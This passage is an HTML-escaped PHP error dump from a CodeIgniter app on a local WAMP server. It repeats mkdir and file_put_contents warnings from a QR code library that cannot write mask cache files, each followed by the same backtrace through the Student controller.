		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_5\mask_21_5.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
